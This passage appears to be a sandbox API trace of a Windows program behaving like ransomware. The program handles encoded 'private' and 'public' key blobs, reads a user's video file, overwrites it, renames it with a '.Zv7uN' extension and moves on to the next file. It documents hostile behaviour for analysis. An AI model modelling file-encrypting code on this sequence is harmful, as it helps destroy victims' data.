XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.860] GetCurrentThreadId () returned 0xa30 [0087.860] GetCurrentThreadId () returned 0xa30 [0087.860] GetCurrentThreadId () returned 0xa30 [0087.861] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.861] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.861] GetCurrentThreadId () returned 0xa30 [0087.861] GetCurrentThreadId () returned 0xa30 [0087.861] GetCurrentThreadId () returned 0xa30 [0087.862] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\BnVXNRl_cPdm7g.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\bnvxnrl_cpdm7g.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.862] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0087.862] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.862] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0xb7cc [0087.862] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.862] ReadFile (in: hFile=0x11c, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0xb7cc, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0xb7cc, lpOverlapped=0x0) returned 1 [0087.864] CloseHandle (hObject=0x11c) returned 1 [0087.866] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\BnVXNRl_cPdm7g.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\bnvxnrl_cpdm7g.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.868] WriteFile (in: hFile=0x11c, lpBuffer=0x1f14ed0*, nNumberOfBytesToWrite=0xb7cc, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f14ed0*, lpNumberOfBytesWritten=0x18f6ac*=0xb7cc, lpOverlapped=0x0) returned 1 [0087.871] CloseHandle (hObject=0x11c) returned 1 [0087.876] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\BnVXNRl_cPdm7g.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\bnvxnrl_cpdm7g.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\BnVXNRl_cPdm7g.avi.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\bnvxnrl_cpdm7g.avi.zv7un")) returned 1 [0087.877] GetCurrentThreadId () returned 0xa30 [0087.877] GetCurrentThreadId () returned 0xa30 [0087.878] GetCurrentThreadId () returned 0xa30 [0087.878] GetCurrentThreadId () returned 0xa30 [0087.878] GetCurrentThreadId () returned 0xa30 [0087.878] GetCurrentThreadId () returned 0xa30 [0087.878] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4af120, ftCreationTime.dwHighDateTime=0x1d5e350, ftLastAccessTime.dwLowDateTime=0x64c58a70, ftLastAccessTime.dwHighDateTime=0x1d5e389, ftLastWriteTime.dwLowDateTime=0x64c58a70, ftLastWriteTime.dwHighDateTime=0x1d5e389, nFileSizeHigh=0x0, nFileSizeLow=0x18b46, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="gagQPb.swf", cAlternateFileName="")) returned 1 [0087.878] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.878] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.878] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\gagQPb.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\gagqpb.swf"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4af120, ftCreationTime.dwHighDateTime=0x1d5e350, ftLastAccessTime.dwLowDateTime=0x64c58a70, ftLastAccessTime.dwHighDateTime=0x1d5e389, ftLastWriteTime.dwLowDateTime=0x64c58a70, ftLastWriteTime.dwHighDateTime=0x1d5e389, nFileSizeHigh=0x0, nFileSizeLow=0x18b46)) returned 1 [0087.878] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\gagQPb.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\gagqpb.swf")) returned 0x20 [0087.878] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\gagQPb.swf", dwFileAttributes=0x80) returned 1 [0087.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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